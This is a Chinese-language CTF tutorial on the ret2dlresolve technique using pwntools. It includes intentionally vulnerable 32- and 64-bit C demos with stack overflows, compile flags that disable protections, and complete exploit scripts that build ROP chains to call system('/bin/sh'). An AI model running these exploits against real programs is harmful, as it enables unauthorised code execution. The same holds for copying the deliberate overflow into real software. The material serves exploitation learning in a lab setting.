理论部分
首先最好确认你学习过ELF文件结构相关的内容,当然如果没学过这里也会简单的讲解一些 本文主要讲靠pwntools的Ret2dlresolvePayload工具一把梭所需payload,这比手搓payload轮椅太多了,手搓payload咕到下回了,毕竟国道上的大运只管开就好了,但旁边的小轿车考虑的可就多了
这里来复习一下动态链接和延迟绑定
demo
32位 非 Full RELRO
示例demo
#include <stdio.h>
#include <unistd.h>
static void vuln(void) {
char buf[64];
puts("Input:");
read(0, buf, 0x200);
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
vuln();
return 0;
}
使用以下命令编译
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,lazy -Wl,-z,norelro demo.c -o demo-32
或者使用以下部分RELRO的编译
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,relro -Wl,-z,lazy demo.c -o demo-32
程序很简单,几乎没有逆向的需求,可以直接开始分析,首先在read处有明显的溢出,所以我们可以在溢出的位置提前布置好ROP链 按照之前的内容,我们的第一段payload结构大致应该如下
- read
- clean_gadget
- 0
- bss_addr
- len
- plt0
- ret_addr
- args
exp
from pwn import *
context.arch = "i386"
context.log_level = "debug"
elf = ELF('./demo-32')
def dbg():
gdb.attach(io)
pause()
io = process('./demo-32')
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
call_read = 0x080491B8
clean = 0x804901B
plt0 = elf.get_section_by_name(".plt").header.sh_addr
io.recvuntil(b'Input:\n')
payload = cyclic(76) + p32(elf.plt['read']) + p32(clean) + p32(0) + p32(dlresolve.data_addr) + p32(len(dlresolve.payload)) + p32(plt0) + p32(dlresolve.reloc_index) + p32(0xdeadbeef) + p32(dlresolve.real_args[0])
io.send(payload)
payload2 = dlresolve.payload
io.send(dlresolve.payload)
io.interactive()
64位 非 Full RELRO
示例demo
#include <stdio.h>
#include <unistd.h>
__attribute__((used, naked))
void gadget(void) {
__asm__(
"pop %rdi; ret;"
"pop %rsi; ret;"
"pop %rdx; ret;"
"ret;"
);
}
static void vuln(void) {
char buf[64];
puts("Input:");
read(0, buf, 0x300);
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
vuln();
return 0;
}
使用以下命令编译
gcc -fno-stack-protector -no-pie -Wl,-z,norelro -O0 -fcf-protection=none demo64.c -o demo64
或者使用以下编译Partial RELRO
gcc -fno-stack-protector -no-pie -Wl,-z,relro -Wl,-z,lazy -O0 -fcf-protection=none demo64.c -o demo64
事实上这一部分相比于32位的变化只有参数的传递,我们需要通过寄存器来传递参数了,因此我们需要先得到用于设置寄存器的gadget,除此之外几乎一样
exp
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
io = process('./demo64')
elf = ELF("./demo64")
pop_rdi = 0x401146
pop_rsi = 0x401148
pop_rdx = 0x40114A
ret = 0x40114B
plt0 = elf.get_section_by_name(".plt").header.sh_addr
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
paylaod = cyclic(0x48) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(dlresolve.data_addr) + p64(pop_rdx) + p64(len(dlresolve.payload)) + p64(elf.plt["read"]) + p64(ret) + p64(pop_rdi) + p64(dlresolve.real_args[0]) + p64(plt0) + p64(dlresolve.reloc_index)
io.recvuntil(b"Input:\n")
io.send(paylaod)
io.send(dlresolve.payload)
io.interactive()